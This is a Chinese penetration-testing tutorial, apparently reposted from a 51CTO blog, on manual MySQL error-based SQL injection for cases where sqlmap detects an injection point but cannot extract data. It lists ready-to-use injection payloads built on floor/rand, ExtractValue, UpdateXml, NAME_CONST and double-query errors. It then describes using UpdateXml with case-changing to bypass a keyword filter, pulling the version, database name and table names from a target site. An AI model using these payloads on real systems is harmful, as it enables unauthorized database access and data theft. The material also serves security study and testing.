在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。
图1 获取数据库失败
此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。
通过floor报错:
1
|
and
select
1
from
(
select
count
(*),concat(version(),floor(rand(0)*2))x
from
information_schema.tables
group
by
x)a)
|
1
|
and
(
select
count
(*)
from
(
select
1
union
select
null
union
select
!1)x
group
by
concat((
select
version()),floor(rand(0)*2)))
|
通过ExtractValue报错:
1
|
and
extractvalue(1, concat(0x7f, (
select
version()),0x7f))
|
通过UpdateXml报错:
1
|
and
1=(updatexml(1,concat(0x7f,(
select
version()),0x7f),1))
|
通过NAME_CONST报错:
1
|
and
1=(
select
*
from
(
select
NAME_CONST(version(),1),NAME_CONST(version(),1))
as
x)
|
通过错误的双重查询:
1
|
or
1
group
by
concat_ws(0x7f,version(),floor(rand(0)*2))
having
min
(0)
or
1
|
在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。
图2 显错注入点
此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。
图3 获取数据库版本信息
获取数据库名,如图4所示。
图4 获取数据名
获取表名,如图5所示。
图5 获取表名
后续操作请参考文章《mysql手工注入》,这里不再进行累赘!
本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1962253